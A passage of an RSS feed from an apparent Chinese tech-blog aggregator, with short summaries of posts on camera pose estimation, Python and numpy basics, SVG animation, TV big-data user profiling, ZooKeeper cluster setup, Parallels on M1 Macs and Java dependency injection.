空间点以及它们的投影位置时，如何估计相机所在的位姿。&#xA;如果两张图像中，其中一张特征点的3D 位置已知，那么最少只需三个点对（需要至少一个额外点验证结果）就可以估计相机运动。特征点的3D 位置可以由三角化，或者由RGB-D 相机的深度图确定。因此，在双目或RGB-D 的视觉里程计中，我们可以直接使用PnP 估计相机运动。而在单目视觉里程计中，必须先进行初始化，然后才能使用PnP。3D-2D 方法不需要使用对极约束，又可以在很少的匹配点中获得较好的运动估计，是最重要的一种姿态估计方法。</description>
    </item>
    <item>
      <title>[转载] python中将str转成数字_python如何将字符转换为数字</title>
      <link>https://bchobby.github.io/posts/0fd9cd2cc9caf14a5d4e44798ba43c87/</link>
      <pubDate>Sat, 20 Feb 2021 08:49:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fd9cd2cc9caf14a5d4e44798ba43c87/</guid>
      <description>参考链接： 在Python中将字符串转换为数字并将数字转换为字符串&#xA;python中的字符数字之间的转换函数int(x [,base ]) 将x转换为一个整数&#xA;long(x [,base ]) 将x转换为一个长整数&#xA;float(x ) 将x转换到一个浮点数&#xA;complex(real [,imag ]) 创建一个复数&#xA;str(x ) 将对象 x 转换为字符串&#xA;repr(x ) 将对象 x 转换为表达式字符串&#xA;eval(str ) 用来计算在字符串中的有效Python表达式,并返回一个对象&#xA;tuple(s ) 将序列 s 转换为一个元组&#xA;list(s ) 将序列 s 转换为一个列表&#xA;chr(x ) 将一个整数转换为一个字符&#xA;unichr(x ) 将一个整数转换为Unicode字符&#xA;ord(x ) 将一个字符转换为它的整数值&#xA;hex(x ) 将一个整数转换为一个十六进制字符串&#xA;oct(x ) 将一个整数转换为一个八进制字符串&#xA;例如：chr(65)=&#39;A&#39;&#xA;ord(&#39;A&#39;)=65&#xA;int(&#39;2&#39;)=2;&#xA;str(2)=&#39;2&#39;</description>
    </item>
    <item>
      <title>python中的除法运算_python中矩阵除法运算的三种实现方法</title>
      <link>https://bchobby.github.io/posts/965fe316770753c1cb98dbd526ca06a3/</link>
      <pubDate>Sat, 20 Feb 2021 06:44:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/965fe316770753c1cb98dbd526ca06a3/</guid>
      <description>介绍过python矩阵的乘法运算，numpy库中虽然乘法是矩阵运算的主要运算，但是numpy作为python中实现矩阵运算的好工具，也是可以轻松实现除法计算的，本文python中矩阵除法的三种实现方法：1、x/y计算对应元素相除(矩阵点除)；2、np.devide()计算对应元素相除(矩阵点除)；3、借助乘法np.mat方法处理。&#xA;方法一：x/y计算对应元素相除(矩阵点除)import numpy as np&#xA;a = np.array([4,2,3])&#xA;b = np.array([2,5,7])&#xA;f = a/b&#xA;print(&#34;除%s&#34; % f)&#xA;方法二：np.devide()计算对应元素相除(矩阵点除)import numpy as np&#xA;a=np.array([[1.,2.],[3.,4.]])&#xA;c=np.divide(a,a) #矩阵点除&#xA;print(&#34;[矩阵点除]divide(a,a)=\n&#34;,c)&#xA;A=np.mat([[1.,2.],[3.,4.]])&#xA;C=np.divide(A,A) #矩阵点除&#xA;print(&#34;[矩阵点除]divide(A,A)=\n&#34;,C)&#xA;方法三：借助乘法np.mat方法处理import numpy as np&#xA;a = np.asmatrix(np.ones([2,3]))&#xA;b = np.asmatrix(np.ones([3,3]))&#xA;b[1,1] = 5&#xA;b[0,2]=3&#xA;b[2,2] = 2&#xA;print(b)&#xA;print(a,b.I)&#xA;以上就是python矩阵中各种除法的计算，希望能对你有所帮助哦~更多python学习推荐：python教程。</description>
    </item>
    <item>
      <title>python 输入学生成绩大于 90为优_任意输入java课程的成绩，当成绩大于等于90分，输出等级为优秀...</title>
      <link>https://bchobby.github.io/posts/5981cf6a3201caee934113670b015b29/</link>
      <pubDate>Sat, 20 Feb 2021 00:15:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5981cf6a3201caee934113670b015b29/</guid>
      <description>【简答题】do-while语句的语法形式及执行过程&#xA;【简答题】代码编程:多门课程学生成绩存储&#xA;【简答题】代码编程:字符串输出函数、字符串读入函数示例 P109&#xA;【简答题】编程求斐波那契数列的前12项之和(P123例7.9)&#xA;【简答题】代码编程:学生成绩排序&#xA;【简答题】代码编程:密码加密&#xA;【简答题】输出hello word&#xA;【简答题】编码实现:菜单输出(无参函数的定义与调用)&#xA;【简答题】设计一个小型计算器: 日常生活中我们经常会遇到一些小型计算问题,如进行简单的加、减、乘、除等运算。设计一个简单的计算器,用以实现如上的数学运算。&#xA;【简答题】编写一个程序求两个数中的最大数&#xA;【简答题】小学生的九九乘法口诀 “满九九乘法表”,是一个九行九列的表格,行和列均从1变化到9。&#xA;【简答题】一维字符数组格式、二维字符数组格式&#xA;【简答题】编程实现:学生成绩计算(有参函数的定义与调用)&#xA;【简答题】编程实现:数组a中存放一个学生的5门课程成绩,求平均成绩。&#xA;【简答题】编程实现:判断一个整数数组中各元素的值,若大于0,则输出该值,若小于等于0,输出0值&#xA;【简答题】编程实现:输入正方体的长、宽、高。求体积及三个面的侧面积&#xA;【简答题】代码编程:彩票中奖&#xA;【简答题】平屋顶,坡屋顶&#xA;【简答题】编写一个程序,从键盘上输入一个三位整数,将其逆序输出。要求:运行程序时输入986,输出689.&#xA;【简答题】while语句的语法结构,执行过程?&#xA;【简答题】一维数组定义格式、引用?二维数组定义格式、引用?&#xA;【简答题】循环嵌套代码编程:九九乘法表(满九九乘法表)&#xA;【简答题】为了方便学生管理,班主任王老师安排学习委员张雪输出一张学生个人信息表,表的格式如下: 姓名 性别 年龄 Java 数学 英语 C语言 张三丰 男 18 59 60 80.5 59.9 ...... ......&#xA;【简答题】编程求1+1/2+1/3+1/4+...+1/n&#xA;【简答题】学院开展一次小型歌唱比赛,邀请各系组织并推选评委,比赛时一支参赛队伍演唱完毕,由评委打分,最终成绩是所有评委的平均分。 设评委人数不固定,由输入的评委人数决定,每个评委打分,进行求和,打分次数和评委人数不相等继续打分和求和,打分结束计算平均分,最后输出最终成绩。&#xA;【简答题】代码编程:改进版九九乘法表(简化九九乘法表)&#xA;【简答题】编程求:1/2+1/4+1/6+1/8+...+1/n(n为偶数)&#xA;【简答题】制作一张自己的名片,要求包含有姓名、性别、学校、学号、专业、电话、家庭住址、兴趣爱好。&#xA;【简答题】用scanf函数和printf函数实现学生信息&#xA;【简答题】用代码演示划分考试成绩等级。&#xA;【简答题】通过函数计算一个学生两门课程的总分和平均分。&#xA;【简答题】输出我的小名片信息。&#xA;【简答题】选择结构一般有哪三种结构?&#xA;【简答题】代码编程:猜数字游戏&#xA;【简答题】switch语句的语法格式&#xA;【简答题】编程实现:猜年龄(函数的递归调用)&#xA;【简答题】计算三角形、矩形、圆的面积。&#xA;【简答题】代码编程:多门课程学生成绩计算与查找&#xA;【简答题】多分支if语句的语法格式&#xA;【简答题】代码编程:找朋友游戏&#xA;【简答题】编程实现:歌唱比赛求平均分&#xA;【简答题】for语句的语法结构及执行过程&#xA;【简答题】代码编程:翻牌游戏&#xA;【简答题】代码编程:学生成绩计算与查找&#xA;【简答题】用代码实现身高预测。&#xA;【简答题】身高预测:每个父母都关心自己孩子成人后的身高,据有关生理卫生知识与数理统计分析表明,影响小孩成人后身高的因素有遗传、饮食习惯与体育锻炼情况等。小孩成人后的身高与其父母的身高及自身的性别密切相关。 设faheight为其父身高,moheight为其母身高,身高预测公式为: 男性成人时身高=(faheight+moheight)*0.54(cm) 女性成人时身高=(faheight*0.</description>
    </item>
    <item>
      <title>干货来袭！腾讯T4大佬，十分钟教你用svg做出精美的动画</title>
      <link>https://bchobby.github.io/posts/66bd74b8183dbaae8421547007114a31/</link>
      <pubDate>Fri, 19 Feb 2021 22:03:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66bd74b8183dbaae8421547007114a31/</guid>
      <description>前言 经常在Codepen上看到大侠们用SVG画出不可思议的动画，我一直很好奇他们是怎么运作的，总觉得这需要对SVG有足够透彻的了解，并且自己画出那些SVG图案，才有办法让他动起来。&#xA;但其实不然，今天教大家一个简单的小技巧，让你快速实现一个svg动画！&#xA;打开Codepen，点击界面中的build按钮，就可以使用动画构建一个房子，并且让它升起寥寥炊烟！&#xA;寻找精美的svg图案 既然自己画不出来，那我们就去找现成的库，svg库有很多，如Flaticon、iconfont、Iconfinder或icons8等网站会提供很多免费的svg图案。&#xA;分析svg图案 打开devtool观察 svg 图案，你会看到下面的结果：&#xA;element里头path跟circle都是svg的DOM元素，分别表示svg图案内的线条与圆形。&#xA;举个例子：&#xA;&amp;lt;path d=&#34;M 10 25 L 10 75 L 60 75 L 10 25&#34;&amp;gt; 上面代码中的d的内容：M代表将笔移动到(10, 25)，接着L画一条线到(10, 75)，最后回到起点画出一个三角形。&#xA;通过devtool，我们可以看到每个path对应图案的哪个部分：&#xA;这时候应该形成思路，既然我们可以知道每个元素对应到图案的哪个部分，我们就可以针对想要套上动画的DOM 元素来操作！&#xA;TimelineLite/TimelineMax 工具 如果单纯通过id、className 来使用 CSS 或JavaScript 自行处理动画，难度还是颇高，更重要的是，要耗费大量的时间&#xA;所以我们得借用工具，Timeline(Lite|Max)跟TweenMax是知名的GreenSock Animation Platform（简称GSAP）推出的可创建时间轴（timeline）作为动画或其他时间轴的容器，这使得整个动画控制和精确管理时间变得简单。&#xA;GSAP甚至为我们提供了Ease Visualizer来展示每种Ease function的效果，更顺带附上代码：&#xA;简单几句代码就能达到如下效果：&#xA;上手GSAP GSAP的API功能十分强大，还有相关社区：官网文档、论坛、TimelineMax中文手册&#xA;在一开始的房子构建中，我主要使用的是TimelineMax的from与staggerFrom，这两个API只需要设定初始值，他会在指定时间内将补间动画完成：&#xA;tl.from(&#34;#House &amp;gt; rect:nth-child(24)&#34;, 1, { scaleX: 0, transformOrigin: &#34;center&#34;, ease: Power2.easeOut }) 这一步我们将CSS Selector #House &amp;gt; rect:nth-child(24) 这个元素，从scaleX为0开始，以center(中心)为变形起点，利用Power2.easeOut，在一秒内回复到原始状态，并执行补间动画。&#xA;.staggerFrom( [&#34;#House &amp;gt; path:nth-child(34)&#34;</description>
    </item>
    <item>
      <title>广电大数据用户画像及营销推荐策略（一）——Python实现</title>
      <link>https://bchobby.github.io/posts/add1fc3d8b3b39af311d368c368d0550/</link>
      <pubDate>Fri, 19 Feb 2021 17:43:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/add1fc3d8b3b39af311d368c368d0550/</guid>
      <description>本次大数据项目数据及分析均做脱敏化和保密化，主要分享思路体系，全程用Python实现，数据和代码均不提供。如有建议欢迎讨论！&#xA;前言 “一切业务数据化，一切数据业务化”，回顾几十年的中国企业信息化发展历程，就是“业务数据化”的过程——企业持续在IT方面进行投入和建设，不断将发展过程中业务和经营管理端的各种能力以数据形态沉淀下来。而接下来的“数据业务化”则是将已经成为资产的数据作为生产资料&#xA;数据中台作为整个企业各个业务所需数据服务的提供方，通过自身的平台能力和业务对数据的不断滋养（业务数据化），会形成一套高效可靠的数据资产体系和数据服务能力（数据资产化和资产服务化）。这样当出现新的市场变化，需要构建新的前台应用时，数据中台可以迅速提供数据服务（服务业务化），从而敏捷地响应企业的创新。业务产生数据，数据服务业务，形成闭环。值得一提的是，数据中台不仅仅是一种技术平台，倘若仅停留于此，就完全忽略了从IT到DT的本质变化是“围绕数据资产进行价值的持续积累和释放”。单纯增大技术投入和人才投入无法保障企业经营效能的持续提升，只有站在数据价值观和方法论的高度，才可能系统性解决企业经营发展中关于数据的诸多问题。谁能率先解决面向数字经济特征的全新数据价值观和方法论的问题，并在其指引下打造出平台级能力，谁就能真正意义上帮助企业把数据用起来。&#xA;以下解释借鉴《数据中台：让数据用起来》。&#xA;“让数据用起来”，既是终极目标，也是数据中台要为处于不同数据认知成熟度阶段的企业实现的一个个具体目标。业务不会停滞，信息化不断追求自身的价值，数据部门力图与业务部门具有同等组织地位和话语权，业务部门不断提出新的挑战，政府在加速拉动数字经济建设……数据中台未来会经过以下几个发展阶段。&#xA;第一阶段：数据中台探索 这个阶段是个过渡阶段。一方面，传统的数据应用过往都是从外往内的（利用外部的技术、数据和资源来服务内部需求）。例如，零售行业要做精准营销，在广告上砸钱，做用户画像分析，利用外部的技术、数据、资源来服务内部需求，但是做完了会发现企业自身没有沉淀，又回到了原点。另外一方面，还是要借助一个个具体的场景化数据应用来推动企业对数据中台的认知，积累各行业（特别是头部客户）的业务和服务经验快速迭代和打造数据中台。&#xA;这个阶段会将数据生命周期各个阶段的技术与现有业务场景或创新业务场景结合，迅速形成可见、可展示的业务成果。特点是项目短小精悍，容易见效果，缺点是由于缺乏数据中台整体规划及让数据用起来的完整流程设计，无法对众多单个数据应用沉淀的数据形成通用数据资产，每个项目都需要从头到尾走一遍，当应用需求爆发式增长时，底层数据支撑的效率会大幅度下降，甚至影响最终的业务效果。&#xA;第二阶段：数据中台整合数据应用提升效率 这一阶段的特点是构建数据中台的技术、理念、方法论是可复制的，市场上已有成熟的支撑数据中台高效运转的平台级产品。企业通过规划、建设、实施数据中台能够具备三方面的基础能力：&#xA;·数据的多样性、多态性、多云连接能力（汇聚/交换能力）。交换的能力用来解决企业有哪些数据、数据在哪里等问题。&#xA;·数据资产化的能力是数据中台建设的关键，包括清洗、加工、治理、安全、质量等工具模块及实施方法论。（说明：能直接作用于业务领域，业务能阅读、能理解的数据才叫数据资产。）&#xA;·数据服务化的能力，用数据技术来使用数据的方法。&#xA;有了这三个能力，就能将上一阶段构建起来的场景级数据应用，甚至是历史建成的系统都整合成企业级数据应用平台，既能满足原有系统对数据的需求，又能快速满足新业务场景对数据的需求，将数据作为资产上架，成为共享的生产要素。&#xA;第三阶段：数据中台重构数据空间和业务空间 到了这一阶段，数据中台已经成为企业数据资产的核心能力和基础，通过快速构建数据资产体系，帮助企业真正实现对其全量数据的有效管理。业务和业务流程本身都可以通过适当的颗粒度进行数字化解耦和标准化，企业能够以自我为中心构建更加宏大的产业、行业价值链范围的数据空间和业务空间，以数据编排的方式响应业务需求，彻底颠覆传统的软件工程方式，业务实现自流程化，数据实现自我管理能力。&#xA;这里需要引入业务空间和数据空间的基本概念。&#xA;·企业业务空间：企业任何一个业务条线从初始设立到日益精细分化，一般都遵循一个共性的演进过程：清晰定义该业务条线内专项业务的“毛细血管”功能体系、建设或升级相应技术支撑系统、生成专项业务数据。当所有业务条线都遵循这个发展规律，纵横交错的业务条线构成了企业实际运营的多维业务空间。企业的业务空间是产生和形成全量数据的根本依据和前提。&#xA;·企业数据空间：在数字化时代，任何一家企业都是市场生态中的一个节点，从数据交换的宏观视角来看，任何一家企业的数据全集只是整个市场数据生态空间中的一个子集。从企业自身视角来看，依据数据的生成和交互方式，企业全量数据的数据空间大致由三个维度构成：自主生产和消费的数据、外部数据（含单向外部获取数据和单向对外提供数据）、内外部交互数据。&#xA;数据中台是一套可持续“让企业的数据用起来”的机制，是一种战略选择和组织形式，是依据企业特有的业务模式和组织架构，通过有形的产品和实施方法论支撑，构建的一套持续不断把数据变成资产并服务于业务的机制。 数据来自于业务，并反哺业务，不断循环迭代，实现数据可见、可用、可运营。通过数据中台把数据变为一种服务能力，既能提升管理、决策水平，又能直接支撑企业业务。数据中台不仅仅是技术，也不仅仅是产品，而是一套完整的让数据用起来的机制。既然是“机制”，就需要从企业战略、组织、人才等方面来全方位地规划和配合，而不能仅仅停留在工具和产品层面。&#xA;1、目标分析 1.1 背景 随着经济的不断发展，人民的生活水平显著提高，对生活质量的要求也在提高。同时互联网技术的高速发展适应了时代的需求，为人们提供了许多娱乐的渠道。其中“三网融合”为人们在信息化时代利用网络等高科技手段获取所需的信息提供了极大的便利。&#xA;“下一代广播电视网（NGB；Next Generation Broadcasting）”即广播电视网、互联网、通信网“三网融合”，有线无线相结合、全程全网的广播电视网络。它不仅可以为用户提供高清晰的电视、数字音频节目、高速数据接入和语音等三网融合业务，也可为科教、文化、商务等行业搭建信息服务平台，使信息服务更加快捷方便。在三网融合的大背景下，广播电视运营商与众多的家庭用户实现信息实时交互。这使大数据分析与挖掘为用户提供智能化的产品推荐成为可能。&#xA;2020年10月12日，中国广电网络股份有限公司揭牌成立。中国广电网络股份有限公司是在党中央、国务院和各级党委、政府大力关心支持下，在中宣部和广电总局直接领导下组建成立的中央文化企业。揭牌意味着“全国一网”的主体公司组建工作任务基本完成，全国有线电视网络整合取得突破性成效。&#xA;中国广电网络股份有限公司成立后，将按照“统一建设、统一管理、统一标准、统一品牌”的要求，建立有线电视网络整合和广电5G建设统一运营管理体系。公司将进一步优化网络资源配置，推动全国有线电视网络升级改造，实现集约化发展，统筹有线、无线、卫星协调发展，形成一个多功能的国家数字文化传播网，建设兼具宣传文化和综合信息服务特色的可管可控、安全可靠的新型智慧融合网络，强化有线电视网络作为意识形态领域主渠道、主阵地的作用，切实提高传播力、引导力、影响力、公信力，更好地满足人民群众多样化多层次的精神文化需求。&#xA;中国广电股份有着丰富的资源优势——2.06亿有线电视家庭用户、220万公里全国有线电视光纤网络，全国广播电视节目传送、宽带电视集成播控等多项广播电视业务牌照与资质；国内通信设施服务、互联网国内数据传送等基础电信业务牌照资质，更有5G商用牌照和700MHz和4.9GHz、3.3GHz等多段优质频率。“全国一网”将努力建成一张可管可控高效安全的绿色网，一张多功能国家数字文化传播网，一张兼具宣传文化和综合信息服务特色的新型智慧融合网。&#xA;2020年11月2日，在2020世界超高清视频(4K/8K)产业发展大会开幕式上，广州市人民政府与中国广播电视网络有限公司签署了战略合作框架协议，就广电5G核心网华南中心节点落户广州达成合作意向。双方将充分发挥广州市区位、产业和政策资源优势，结合中国广电的网络技术资源优势，加快推动广电5G核心网华南中心节点建设，助力广东、广州数字信息产业发展。&#xA;伴随互联网和移动互联网的快速发展，各种网络电视／视频应用（爱奇艺、腾讯视频、优酷视频、乐视视频、电信移动等）遍地开花，越来越多人群的电视观看行为正发生变化，由之前的传统电视媒介向电脑、手机、平板端的网络电视转化。&#xA;在这种新形势下传统广播电视运营商感受到的危机也越来越明显。另一方面，“三网融合”为传统广播电视运营商带来发展机遇，特别是随着超清／高清交互数字电视推广，广播电视运营商可以和家庭用户实现信息实时交互，家庭电视也逐步变成多媒体信息终端。本集团已建成完整覆盖各区（县级市）的有线传输与无线传输互为延伸、互为补充的广电宽带信息网络，实现了城区全程全网的双向覆盖，为广大市民提供有线数字电视、互联网接入服务、高清互动电视、移动数字电视、手机电视、信息内容集成等多样化、跨平台的信息服务。其信息数据收集过程如图1所示，首先每个家庭收看电视节目都需要有一个机顶盒来进行收视节目的接受和交互行为（如点播行为、回看行为）的发送，然后会发送至每个区域的光机设备（进行数据传递的中介）汇集该区域的信息数据，最后再由各光机设备发送至数据中心进行数据整合、存储在大数据平台中。&#xA;图 1 信息数据传递过程&#xA;由于在已建设的大数据平台积累了大量用户基础信息和用户观看记录信息等数据，需在此基础上进一步挖掘出数据价值、形成客户画像，实现精准的营销推荐。总而言之，智能营销推荐服务可以为用户提供个性化的服务，增加用户黏度，从而使用户与企业之间建立稳定交互关系，实现客户链式反应增值。&#xA;1.2 数据说明 在大数据平台中存有用户的基础信息（安装地址等）、订单数据（产品订购、退订信息）、工单数据（报装、故障、投诉、咨询等工单信息）、收费数据（缴费、托收等各渠道支付信息）、账单数据（月租账单收入数据）、双向互动电视平台收视行为数据（直播、点播、回看、广告的收视数据）、用户上网设备的指标状态数据（上下行电平、信噪比、流量等），共7种数据。&#xA;本次抽取了2000用户2020年5月12日至2020年6月12日的收视行为信息数据、账单数据、订单数据、收费数据及用户状态数据，并对5份数据表做脱敏处理。各数据表及属性说明，如表1所示。&#xA;表 1 各数据表及属性说明&#xA;表名&#xA;含义&#xA;收视行为信息数据&#xA;（media-index）&#xA;用户名&#xA;观看时长&#xA;直播频道名称&#xA;开始观看时间&#xA;结束观看时间&#xA;设备名称&#xA;用户等级号&#xA;用户等级名称&#xA;清晰度&#xA;节目地区&#xA;语言&#xA;节目分类&#xA;节目类型&#xA;节目名称&#xA;账单数据&#xA;（mmconsume-billevents）&#xA;费用类型&#xA;账单时间&#xA;业务品牌</description>
    </item>
    <item>
      <title>Centos ZooKeeper集群部署指南</title>
      <link>https://bchobby.github.io/posts/73768a68d4e9a6dae673bbec04c90004/</link>
      <pubDate>Fri, 19 Feb 2021 17:13:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73768a68d4e9a6dae673bbec04c90004/</guid>
      <description>1、ZooKeeper简介 ZooKeeper是一个开源的分布式应用程序协调服务，是Google的Chubby一个开源的实现。ZooKeeper为分布式应用提供一致性服务，提供的功能包括：分布式同步（Distributed Synchronization）、命名服务（Naming Service）、集群维护（Group Maintenance）、分布式锁（Distributed Lock）等，简化分布式应用协调及其管理的难度，提供高性能的分布式服务。&#xA;ZooKeeper本身可以以单机模式安装运行，不过它的长处在于通过分布式ZooKeeper集群（一个Leader，多个Follower），基于一定的策略来保证ZooKeeper集群的稳定性和可用性，从而实现分布式应用的可靠性。&#xA;2、ZooKeeper集群角色说明 ZooKeeper主要有领导者（Leader）、跟随者（Follower）和观察者（Observer）三种角色。&#xA;角色说明领导者（Leader）为客户端提供读和写的服务，负责投票的发起和决议，更新系统状态。跟随者（Follower）为客户端提供读服务，如果是写服务则转发给Leader。在选举过程中参与投票。观察者（Observer）为客户端提供读服务器，如果是写服务则转发给Leader。不参与选举过程中的投票，也不参与“过半写成功”策略。在不影响写性能的情况下提升集群的读性能。此角色于zookeeper3.3系列新增的角色。 二、准备工作 1、集群节点规划 ZooKeeper在提供分布式锁等服务的时候需要过半数的节点可用。另外高可用的诉求来说节点的个数必须&amp;gt;1，所以ZooKeeper集群需要是&amp;gt;1的奇数节点。例如3、5、7等等。&#xA;本次我们规划三个节点，操作系统选用CnetOS 7&#xA;节点名IP说明zk01192.168.88.11ZooKeeper节点zk02192.168.88.12ZooKeeper节点zk03192.168.88.13ZooKeeper节点 2、软件版本说明 项说明Linux ServerCentOS 7JDK1.8.0_161ZooKeeper3.4.11 3、部署JDK8 所有节点均需要安装JDK8&#xA;参考CentOS下部署Java7/Java8： https://ken.io/note/centos-java-setup&#xA;三、部署ZooKeeper 本次一共要部署三个ZooKeeper节点，所有文中没有指定机器的操作都表示每个节点都要执行该操作&#xA;1、下载ZooKeeper&amp;amp;基础准备 下载ZooKeeper 官方镜像选择：https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/&#xA;cd /home/download wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.11/zookeeper-3.4.11.tar.gz 创建ZooKeeper相关目录 #创建应用目录 mkdir /usr/zookeeper #创建数据目录 mkdir /zookeeper mkdir /zookeeper/data mkdir /zookeeper/logs 解压到指定目录 tar -zvxf zookeeper-3.4.11.tar.gz -C /usr/zookeeper 配置环境变量 #修改环境变量文件 vi /etc/profile #增加以下内容 export ZOOKEEPER_HOME=/usr/zookeeper/zookeeper-3.4.11 export PATH=$ZOOKEEPER_HOME/bin:$PATH #使环境变量生效 source /etc/profile #查看配置结果 echo $ZOOKEEPER_HOME 既然已配置环境变量，为了方便访问ZooKeeper目录&#xA;后续通过$ZOOKEEPER_HOME代替/usr/zookeeper/zookeeper-3.4.11&#xA;2、配置ZooKeeper ZooKeeper基础配置 #进入ZooKeeper配置目录 cd $ZOOKEEPER_HOME/conf #新建配置文件 vi zoo.</description>
    </item>
    <item>
      <title>parallels desktop M1版安装Windows10教程</title>
      <link>https://bchobby.github.io/posts/4dd074b49728e4d728abaa9576f00b42/</link>
      <pubDate>Fri, 19 Feb 2021 14:23:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dd074b49728e4d728abaa9576f00b42/</guid>
      <description>近期有些朋友购入了新的M1 mac，可发现无法安装windows。现在，Parallels发布了与M1 Mac兼容的Parallels 16的技术预览版本，可以安装ARM版本的win10。接下来，就为您展示一下如何利用parallels desktop M1版安装Win10。&#xA;准备工作&#xA;访问https://b2b.parallels.com/apple-silicon 进入Parallels Desktop技术预览版官网，点击尝试技术预览进入登陆页面&#xA;选择适合自己的登陆方式，没有账号也可以注册&#xA;得到软件的下载地址和激活码(请保留好激活码，安装需要用到)&#xA;Windows10 arm版系统&#xA;访问 https://uupdump.ml/ 选择 21227 arm版本（只有21277版或更新的版本可以同时运行X86、X64、ARM架构软件。 而21277之前的版本只能运行X86和ARM。）&#xA;或者百度网盘下载！ 链接: https://pan.baidu.com/s/1uzx6XE9po_nysZ8oerUOsw 提取码: nivs&#xA;PD虚拟机安装win10教程&#xA;PD虚拟机安装完成后打开，点击continue继续&#xA;然后PD虚拟机会自动扫描电脑上的windows系统，点击Create&#xA;正在创建，耐心等待几分钟&#xA;需要登录自己的账户，点击Sign in…&#xA;需要激活码来激活PD虚拟机，我们将上面PD官网上的注册码复制到指定位置，点击Activate&#xA;提示PD虚拟机激活成功，点击OK&#xA;接下来静静的等着Win10安装成功就可以了！&#xA;是不是很简单呢？有需要的朋友可以自己尝试一下哦！</description>
    </item>
    <item>
      <title>java中依赖注入_java设计模式之--依赖注入</title>
      <link>https://bchobby.github.io/posts/0d863b98fb9bdb08648567333879208f/</link>
      <pubDate>Fri, 19 Feb 2021 07:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d863b98fb9bdb08648567333879208f/</guid>
      <description>Author：Bob(林补)&#xA;Date：2016/04/30&#xA;代码托管在开源中国：hws/JavaDesignPatterns&#xA;依赖注入的设计模式允许我们移除硬编码的依赖让我们的应用程序更加具有可拓展性和维护性。我们可以实现依赖注入模式，以实现从编译时到运行时的依赖。&#xA;依赖注入模式似乎很难用理论来把握，所以我会拿一个简单的例子，然后我们将看到如何使用依赖注入模式来实现应用程序中的松散耦合和扩展性。&#xA;在任何Java程序，我们经常会遇到以下两个事件。创建对象&#xA;对象之间的交互(业务逻辑)&#xA;但是，平时我们混淆了两者导致紧耦合和不必要的依赖从而使得维护以及单元测试的痛苦。让我尝试用一个非常简单的例子来解释一下：&#xA;class MyClass{&#xA;private A a;//A是一个接口&#xA;private B b;//B是一个接口&#xA;MyClass(A a,B b){&#xA;a = new AImpl();//AImpl是A接口的一个实现类&#xA;b = new BImpl();//BImpl是B接口的一个实现类&#xA;}&#xA;public void doSomething(){&#xA;C c = new CImpl();//在该方法内部创建对象&#xA;}&#xA;}&#xA;MyClass类的问题是：&#xA;1.它尚未能从业务逻辑中分离出来对象的创建导致紧密的耦合。&#xA;2.代码中已经完成面向实现编程，但没有面向接口编程。a = new AImpl();这句代码可以体现这个意思。如果某一天需要实现A,B或C中的不同实现方式，那么MyClass类中的代码必须要改变。&#xA;3.给测试带来不便。测试MyClass类需要先测试A,B,C；&#xA;接下来尝试修复该类存在的问题。&#xA;class MyClass{&#xA;private A a;&#xA;private B b;&#xA;private C c;&#xA;MyClass(A a, B b, C c){&#xA;this.a = a;&#xA;this.b = b;</description>
    </item>
    <item>
      <title>JVM知识脑图</title>
      <link>https://bchobby.github.io/posts/3ee007964e95839e497548a384647104/</link>
      <pubDate>Fri, 19 Feb 2021 06:24:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ee007964e95839e497548a384647104/</guid>
      <description>用于对JVM知识快速回忆梳理&#xA;后序会一直更新。&#xA;脑图链接：https://www.processon.com/view/link/6036541f079129248a66a3cc&#xA;目前目录大纲：&#xA;知识源于B站 尚硅谷 - 康师傅~</description>
    </item>
    <item>
      <title>java贪吃蛇暂停_贪吃蛇 简易Java贪吃蛇，实现计分功能和实现开始暂停结束页面功能 联合开发网 - pudn.com...</title>
      <link>https://bchobby.github.io/posts/9d811d41e456c4899e6546b037cdda3a/</link>
      <pubDate>Fri, 19 Feb 2021 00:50:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d811d41e456c4899e6546b037cdda3a/</guid>
      <description>贪吃蛇, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.lock, 0 , 2020-11-30&#xA;贪吃蛇\SnakeGame\.metadata\.log, 1991 , 2020-11-30&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn\.taskListIndex, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn\.taskListIndex\segments_1, 71 , 2020-11-30&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn\.taskListIndex\write.lock, 0 , 2020-11-30&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn\.tasks.xml.zip, 235 , 2020-11-30&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn\contexts, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn\repositories.xml.zip, 439 , 2020-11-30&#xA;贪吃蛇\SnakeGame\.metadata\.mylyn\tasks.xml.zip, 235 , 2020-11-30&#xA;贪吃蛇\SnakeGame\.metadata\.plugins, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.plugins\org.eclipse.buildship.core, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.plugins\org.eclipse.core.resources, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.plugins\org.eclipse.core.resources\.history, 0 , 2020-12-31&#xA;贪吃蛇\SnakeGame\.metadata\.plugins\org.eclipse.core.resources\.history\18, 0 , 2020-12-31</description>
    </item>
    <item>
      <title>java jre 32位_jre 1.8 32位</title>
      <link>https://bchobby.github.io/posts/4c56c919f05a2a2c47a087e65e334375/</link>
      <pubDate>Thu, 18 Feb 2021 21:14:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c56c919f05a2a2c47a087e65e334375/</guid>
